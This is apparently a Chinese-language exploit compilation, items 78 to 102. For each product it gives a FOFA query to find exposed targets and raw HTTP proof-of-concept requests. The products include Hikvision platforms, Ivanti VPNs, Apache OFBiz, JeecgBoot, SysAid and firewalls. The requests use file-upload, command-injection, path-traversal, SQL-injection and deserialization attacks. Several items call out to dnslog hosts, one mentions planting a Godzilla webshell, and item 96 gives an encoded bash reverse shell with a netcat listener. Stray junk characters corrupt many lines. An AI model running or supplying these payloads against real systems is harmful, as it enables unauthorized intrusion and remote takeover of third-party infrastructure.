1 |8 P6 R/ @+ [/ ZContent-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
; l* ]* T1 X& W' f* x  ~# ]0 y1 }
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"

$ @# s; s; |  v0 Z/ G- ?* _9 h/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
2 I9 _6 F8 x+ s9 g; n% A/ bContent-Type: application/octet-stream

. D6 V4 R" F9 C" n- whello1234567
/ H' i* }& D2 E/ P4 g7 b) D------------398jnjVTTlDVXHlE7yYnfwBoix
0 K. w8 Y3 g" G; o3 E+ OContent-Disposition: form-data; name="Upload"

Submit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--

0 y" J; G2 }; r3 T! S. h0 E
+ p* ^5 \; D' L) ^- y78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
7 P- k; S- b) L* p2 d" dFOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
' W; Z# A! d% |User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
0 ?, z1 w) i, p) \) f8 B  ?, N5 F) LConnection: close
Content-Length: 336
3 I+ Z+ p+ T4 M  ^& ^! t' ZAccept-Encoding: gzip
- j: v- q4 f  f! |Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

------YsOxWxSvj1KyZow1PTsh98fdu6l
% T: R+ ?/ ^; C, i" bContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
. h* p( f* S# Q& `/ U4 iContent-Type: image/png

YsOxWxSvj1KyZow1PTsh98fdu6l
; Z3 a# F$ H# S/ A+ K. g" d------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"

/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--

( V$ {" ?& b# f* v5 C) I
GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
8 g) F+ q: D/ ]2 yHost: x.x.x.x
8 l9 {* j3 G0 _" Z0 X* \! E9 c
/ x; p# Z9 h  ^/ o+ o! ]
7 h5 K5 F/ _; u- N79. BYTEVALUE 百为流控路由器远程命令执行
$ g* Y/ J: e8 J3 \6 }& xFOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
7 K5 K+ `1 H$ w- E1 LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
; R9 [: j" y8 W. p4 PAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
$ v' A- m3 V) sAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
6 b! v: P) Q( V5 s5 N3 mConnection: close
, p4 R  d0 {" eUpgrade-Insecure-Requests: 1


& u/ f4 z3 y( x% K; U80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
' Q/ J' d2 m+ W* T+ dPOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
2 P) ?* D' S. z* [, _Host: x.x.x.x
+ A. y; Z/ F, m$ KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
3 Z" J7 s  E" l  q- u) N8 l! NAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
* s/ H! o* i; x8 ?5 cAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' }2 F7 g( u# \$ eConnection: close
# s& j& t) h! X( t' QContent-Type: application/octet-stream
5 r$ [& Q% S$ y) b9 HUpgrade-Insecure-Requests: 1

/ \2 ]7 e& z. z, S<% out.print("oessqeonylzaf");%>
9 C  J% @* `0 Z# h9 V: O- U' p

GET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
0 n7 g/ p' J3 L1 G7 t3 aConnection: close
* C; }+ H* D- U- ^8 y) fAccept-Encoding: gzip
" L+ N3 B% B/ I: r1 v5 {/ Y
! K  Q# A! Y- F& n
; K( H! J# e% x7 z! C81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
3 s% d8 r, c1 M5 D3 Q9 vUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
; ]! m0 z- d, a0 Q$ L6 {% @, JAccept-Encoding: gzip
2 C3 E, O+ {: ]7 K: P8 ~
4 x9 {+ g" D! U+ Q( T) b+ ]
5 [& x+ o) _$ `, ?4 n- I, X82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
1 m6 [& N! [( dFOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
. K$ [! e+ H0 h9 ?/ K* j( wHost: BaseURL
8 b: v6 P; K$ RUser-Agent: Go-http-client/1.1
6 b0 u8 u& |( B, _4 U% [: k  r$ FContent-Length: 23
Accept-Encoding: gzip
' r' k# d: k4 I4 AConnection: close
" h& ~1 n! z. Y1 {4 a/ C4 C& D) CContent-Type: application/x-www-form-urlencoded
/ \: O: |" h8 i1 p' yReferer: BaseURL

% d6 r+ d5 ?/ U  [* _z1=1&z2="|id;"&z3=bhost


3 y. C/ Q6 m2 }3 \- `4 d6 i: b6 A83. JeecgBoot testConnection 远程命令执行
% f0 x- o5 m* a1 e, fFOFA：title=="JeecgBoot 企业级低代码平台"
/ [. ]- S5 O7 r, M* y
' Q3 q. d& H1 ?( s, ?
POST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
3 Y/ N5 x  U3 f# x- q& v! B. [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
$ Q* E+ Y4 Y. r, {3 F5 nContent-Length: 8881
Accept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json

3 o: Q( H) x  R$ ]PAYLOAD

84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"


* v6 B. r6 F4 Y0 r: y  m6 }
" z/ c9 J7 S$ FPOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
# ]% I) ?5 N% L6 s3 F  mHost: 192.168.40.130:8080
User-Agent: curl/7.88.1
Content-Length: 156
Accept: */*
Connection: close
9 o% H8 v' c8 h" MContent-Type: application/json
5 G% e* a" K$ o% M7 w: L; A- FAccept-Encoding: gzip
2 f  A- `4 G9 ~+ Q6 B& }+ [- n) p
+ r5 k0 {4 U1 ^& M{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
  f9 K! P6 H0 ]: l. }}
( e7 p/ Q0 s  l$ ]
. T) w2 H, z0 X
85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
. f7 a- r; z' f2 i: ePOST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
/ y3 v' s; G$ ?7 r1 DHost: x.x.x.x
. Z1 p8 f1 x4 ^5 H' b0 M& xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
% \- K9 K% @) _Content-Type: application/octet-stream
Accept-Encoding: gzip

2 |8 n4 c0 C- h% p; DPAYLOAD

回显URL：http://x.x.x.x/userfiles/index.jsp
3 Z8 v0 M9 h. l5 a. J
- P9 E. l" O6 i( @5 c2 X3 T( O86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
" `% f, M7 Q. R  b- t0 ?Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Content-Length: 44
Accept: */*
) B% Q! X1 Q3 {2 Z% e5 ?Accept-Encoding: gzip
2 t5 L) b& h; CAccept-Language: en
Content-Type: application/x-www-form-urlencoded

4 g) R6 h0 ~" Q5 ?0 A' ^7 Chost=%0acat${IFS}/etc/passwd%0a&command=ping


+ _- V; \3 \+ {87. 安恒明御安全网关aaa_local_web_preview文件上传
- j1 {, E3 j" D5 b+ {8 jFOFA：title="明御安全网关"
7 o8 ~8 X, N% p  b2 l, ?POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
1 T9 @3 t' T* G0 E5 e: D& `* D  |Connection: close
! P  [# X( g4 f  Z7 i' rContent-Length: 198
Accept-Encoding: gzip
, E9 t& P/ `& lContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
  t; p3 v+ T# B; z8 \
--qqobiandqgawlxodfiisporjwravxtvd
5 o3 }1 F, Y% t) g2 DContent-Disposition: form-data; name="123"; filename="9B9Ccd.php"
8 d$ W& N# I! {  _Content-Type: text/plain
4 J  h1 Y+ A. Y# f, {2 u
* W5 F3 P' P' ]4 U2ZqGNnsjzzU2GBBPyd8AIA7QlDq
0 p8 _$ y! q/ ?, r$ D, z--qqobiandqgawlxodfiisporjwravxtvd--


/jfhatuwe.php

88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
+ ~& C! U( u! [( R4 J( w6 pUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
  H4 n+ |: w2 @$ \3 r* m+ {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
. A" f  u1 f/ ?! ~Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close

" T! E- t  I4 e9 P3 \% h+ F
/astdfkhl.php
: {0 \8 k% i3 }" C. j6 |, R
. d3 u, n; q5 E  \. Y' A89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
2 R9 T) Z& D4 Q3 s: E$ C& ?POST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
8 o8 n+ d$ r% FUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
0 t+ ?- p. l: i$ WContent-Length: 41
/ d8 H! b: h' ^" E1 b- f+ CContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
! T3 S7 T$ j+ C9 I
2 v2 Z' T8 H7 V6 h  Roption=2&GUID=-1'+union+select+111*222--+

4 e/ ?2 {* q+ B$ c0 B
1 h3 i. Q6 _& x# G. e3 d90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
6 L! n7 G0 J# S/ I7 ?FOFA：icon_hash="-1830859634"
8 Q, G& E0 k9 b- h2 xPOST /php/ping.php HTTP/1.1
Host: x.x.x.x
1 x9 p1 U, O. l" ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
2 o7 @, ^$ F" q. Y$ gContent-Length: 51
3 F8 @& r' ~% d2 M$ Q3 V& PAccept: application/json, text/javascript, */*; q=0.01
: Z" A$ _. Y8 ?Accept-Encoding: gzip, deflate
/ Z$ T8 A& D7 L  U5 U/ i# uAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# o) d" C, B' k, ~* A$ k9 VConnection: close
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
  H2 v3 d* p4 F; n4 c. p, B
jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
( R" g5 g# V9 a3 X+ R! a/ C

* D6 h, l3 F, ?4 e9 C' U91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
/ s6 y/ L" q0 s  `. U/ }( b1 q. Y- WGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
/ M0 [8 Q, F' WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
( a5 r3 k6 ?1 {. hAccept-Encoding: gzip, deflate
! t& t5 i0 H/ oAccept: */*
Connection: keep-alive

7 N; Y3 ^" A$ B, l

; D; k, X* o. b/ N5 j92. 海康威视运行管理中心session命令执行
Fastjson命令执行
: }% z4 z/ ]4 Z/ S8 Z' vhunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
1 p( b# Q6 _* I. sPOST /center/api/session HTTP/1.1
Host:
! \: w/ f. c# o: J( [% Y# OAccept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
" d/ J0 j& }; V0 V2 I+ BContent-Type: application/json;charset=UTF-8
6 i% K$ C$ s4 |& o) A, jX-Language-Type: zh_CN
Testcmd: echo test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
2 ]" b1 P* X8 n& r, bContent-Length: 5778

PAYLOAD
% A) U- `% a2 [6 R* Z, S4 i* Z

+ ~. }. P0 z4 r1 Z93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
' Z6 k0 p! y8 y0 q3 p* I$ W8 Q4 SFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
% ~. r0 y' o& W# bHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
0 [7 Q* {: G" ^$ {User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"

. u$ ~0 I  s. U8 C8 R1 I3 p  d% p& d10000000
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
  {9 A2 z. b! ^+ x  @Content-Type: text/plain

/ {: Y5 r. A6 q& Y4 ]- ?wagletqrkwrddkthtulxsqrphulnknxa
. {  V5 Y- A3 D4 _( U$ b------WebKitFormBoundarykcbkgdfx
+ O5 i: O3 d" ]  K" [6 C' [Content-Disposition: form-data; name="submit_post"
( ~6 T, f0 A8 s/ V4 B
obj_app_upfile
------WebKitFormBoundarykcbkgdfx
! k  [" C9 L' p8 \) l, F' YContent-Disposition: form-data; name="__hash__"
6 Z2 p% f* {9 p6 T3 W5 F
; v* p9 E0 n9 s0b9d6b1ab7479ab69d9f71b05e0e9445
9 z) Q8 a& ]2 [% S2 M5 V; l------WebKitFormBoundarykcbkgdfx--
5 ?: M9 O$ y! T

GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
1 ^+ d3 y1 i& Q; p  w! lUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
) m4 p& ]  d! J: i$ Z0 b* q. M

+ \3 j) t; I5 G' x' c94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
: _0 j& M4 r. {) D5 o- ]* |5 YPOST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
* ?0 o. b5 k2 t2 ZContent-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

------WebKitFormBoundarybqvzqvmt
5 T, L% @% z; L( M' ZContent-Disposition: form-data; name="MAX_FILE_SIZE"
" A0 f% H5 g6 r) I
10000000
  T( v% q$ r3 _8 y9 l& H8 Y5 q9 j% O------WebKitFormBoundarybqvzqvmt
, [' v5 W& }' x, N8 p. Z" zContent-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain

pxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"

& x9 M( L0 y: p; Y, z* sobj_app_upfile
------WebKitFormBoundarybqvzqvmt
5 X" O; B$ x5 X2 q! X2 l5 Z& `Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
3 {& `; ~" r+ f! p8 a------WebKitFormBoundarybqvzqvmt--


" _3 @3 W- _- [8 K/ H- P& V
- n. L" K# Q% v( u/ l$ Z/ pGET /attachements/xlskxknxa.txt HTTP/1.1
3 \$ C& Y9 |. j, MHost: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36


  Y, f6 ~$ A' F. @) [' n5 d
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
) ~$ E' {$ M! t3 F6 m3 h: r. vCVE-2023-49070
4 i: h$ T5 k/ [* f7 }- {FOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
2 O% h/ i/ [, V4 p& gHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
/ U$ x7 m& p8 d+ N; g3 {Connection: close
Content-Length: 889
8 i& E9 t) c6 ~" HContent-Type: application/xml
Accept-Encoding: gzip

<?xml version="1.0"?>
" p* w+ ]2 F4 l8 k* R  y* Z<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
      <param>
      <value>
        <struct>
       <member>
          <name>test</name>
5 b7 h" d1 n( Y  n, n: R  ]          <value>
, F  m+ ]  @7 s  p. k# j      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
# g0 H2 Z+ P% G$ Y7 Y! q# t, t; s; E; j        </member>
' e' t( K* [$ k; X$ e- q      </struct>
# U. p$ G+ m' q      </value>
    </param>
    </params>
+ Z. e; M7 G* J9 i1 B2 \# G</methodCall>

3 P$ z6 }, Z$ k% V8 e: j0 q
/ H- d, Z7 w+ W0 D+ A) M4 R+ k用ysoserial生成payload
! v' Y2 W0 ?8 H  Rjava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
& o! ^$ K5 a3 @8 X7 t" M; h
: @4 Q( @, A9 N' r
! t0 v$ u4 x4 Y; B( t将生成的payload替换到上面的POC
# W) {, Q: ~4 }" q/ PPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
9 V5 ]/ q2 L: {$ T/ i* XHost: 192.168.40.130:8443
0 g5 G: M1 c" C  d& PUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
' T( `/ o% l2 X8 s  jConnection: close
! n$ I& p: U& q' a. zContent-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip
+ b/ R6 b3 d' \6 @/ |& S: M2 t" B0 Z
) X1 s6 A! y3 \PAYLOAD

96. Apache OFBiz  18.12.11 groovy 远程代码执行
3 O$ I$ l6 g7 i4 j! J: SFOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
: T! y% d/ t" \2 w: bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
2 S. Z0 `8 K! ]$ R0 k8 k, \  Z# QAccept: */*
* y  x9 ]5 c: t  l7 M8 ?. \  pAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* m/ l" q/ l% n$ ^+ r: y6 oContent-Type: application/x-www-form-urlencoded
+ X9 S; Y0 f) R  a+ l+ ~! ]Content-Length: 55
3 w1 p: U% W+ d, W0 O: |/ p
groovyProgram=throw+new+Exception('id'.execute().text);
* L& a! ^& ~3 v. n. B7 y% R

反弹shell
- l4 u( r7 x: y( a4 n2 T在kali上启动一个监听
/ s6 j+ c0 B* |# _" o1 Hnc -lvp 7777

- c- |# C0 |) |7 Y. m2 _POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
7 T6 n$ }  }; r- K/ tHost: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
& J  q# W3 y3 dAccept: */*
: C$ d, u! ~. P2 a1 Z1 {Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 D- [6 Y, G6 Y% ^% C2 [$ wContent-Type: application/x-www-form-urlencoded
Content-Length: 71
) n2 t9 t& I2 y7 n- h
groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
5 M+ Q- S8 y" r# `/ j2 N9 m$ DFOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
& i" ^8 a, P# ?" t% b8 i6 RHost: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
" v8 U0 S& s  d. rConnection: close
Cookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"

% E; ?1 O; s9 }2 _! ^( p$ j
( z2 H$ H, b1 M! v! w98. SpiderFlow爬虫平台远程命令执行
; D& o7 Q  z: B' z0 J% n% }CVE-2024-0195
FOFA：app="SpiderFlow"
4 J7 `8 E/ Q& j6 N( U$ d% B, e" NPOST /function/save HTTP/1.1
Host: 192.168.40.130:8088
7 \; f( F- j8 G  w0 m" zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
- w: w& k+ F2 k2 eConnection: close
Content-Length: 121
$ V, u+ A3 w' E2 \6 L9 s" vAccept: */*
% N; C: m3 I4 d9 z& _/ lAccept-Encoding: gzip, deflate
' D  Z. U: R5 ~2 XAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

6 V( ?& Y( J4 G1 S% mid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
6 Y2 ?$ ?+ U6 N

) Y  @+ l7 v; r+ q99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
- n) v+ {8 W+ l: m. lPOST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 154
( v' P, l5 n0 `; ]' IAccept: */*
' R  v$ Z/ I% {- TAccept-Encoding: gzip, deflate
1 O* y3 l/ J6 D5 o) qAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
: ]. P; u# P6 ]$ R/ x+ FX-Requested-With: XMLHttpRequest

% z6 M5 A7 @. F0 z- e6 I%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D

- C+ n2 n5 f3 M; B' z4 r
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
FOFA：icon_hash="874152924"
: ^8 B' h7 c% ePOST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Length: 201
( x! ~0 B: u4 z' z7 l! y' FContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
( G# d; w" W, f" b* N: M! G6 KAccept-Encoding: gzip
# W3 A& v! ^2 F8 X, @
------WebKitFormBoundarygcflwtei
5 V2 m9 W6 C2 ~4 g$ E. Z- E" {Content-Disposition: form-data; name="file";filename="IE4MGP.php"
9 H5 O9 C- w) S) T1 f! @) h+ LContent-Type: application/x-php

2ayyhRXiAsKXL8olvF5s4qqyI2O
% d  u% e& O. ]* H' z2 y------WebKitFormBoundarygcflwtei--


# n% b- G3 m# O9 R% U101. ivanti policy secure-22.6命令注入
9 e' ~/ \) q& {$ J1 b" i5 yCVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
; g0 ]8 r2 m9 ^. s8 D) ^GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
( o# {- ~- M& q* a8 V1 MHost: x.x.x.xx.x.x.x
/ S$ Y+ ?. K' g3 j% H7 u. J( V6 [User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
+ G+ \, _# q1 E  R, WConnection: close
( ?, g4 N2 G: R, PAccept-Encoding: gzip
2 W1 M7 u" I3 t1 I% O
8 A3 K# W; y* h! T( H' Y: D# a
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
, ^3 M  i6 L6 ]8 ?FOFA：body="welcome.cgi?p=logo"
& ~( I; P! e  {3 I; i& M' zPOST /dana-ws/saml20.ws HTTP/1.1
, G7 t  }  d9 |. _Host: x.x.x.x
' b3 }  b$ V5 ~0 E/ CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
9 n# \# W: Z' a4 b9 tConnection: close
( W$ W. u* B, c* h( F9 `Content-Length: 792
Accept-Encoding: gzip
9 D+ p* N" U! ^) t% R
<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
. A7 v' N' {1 a& m* i5 }
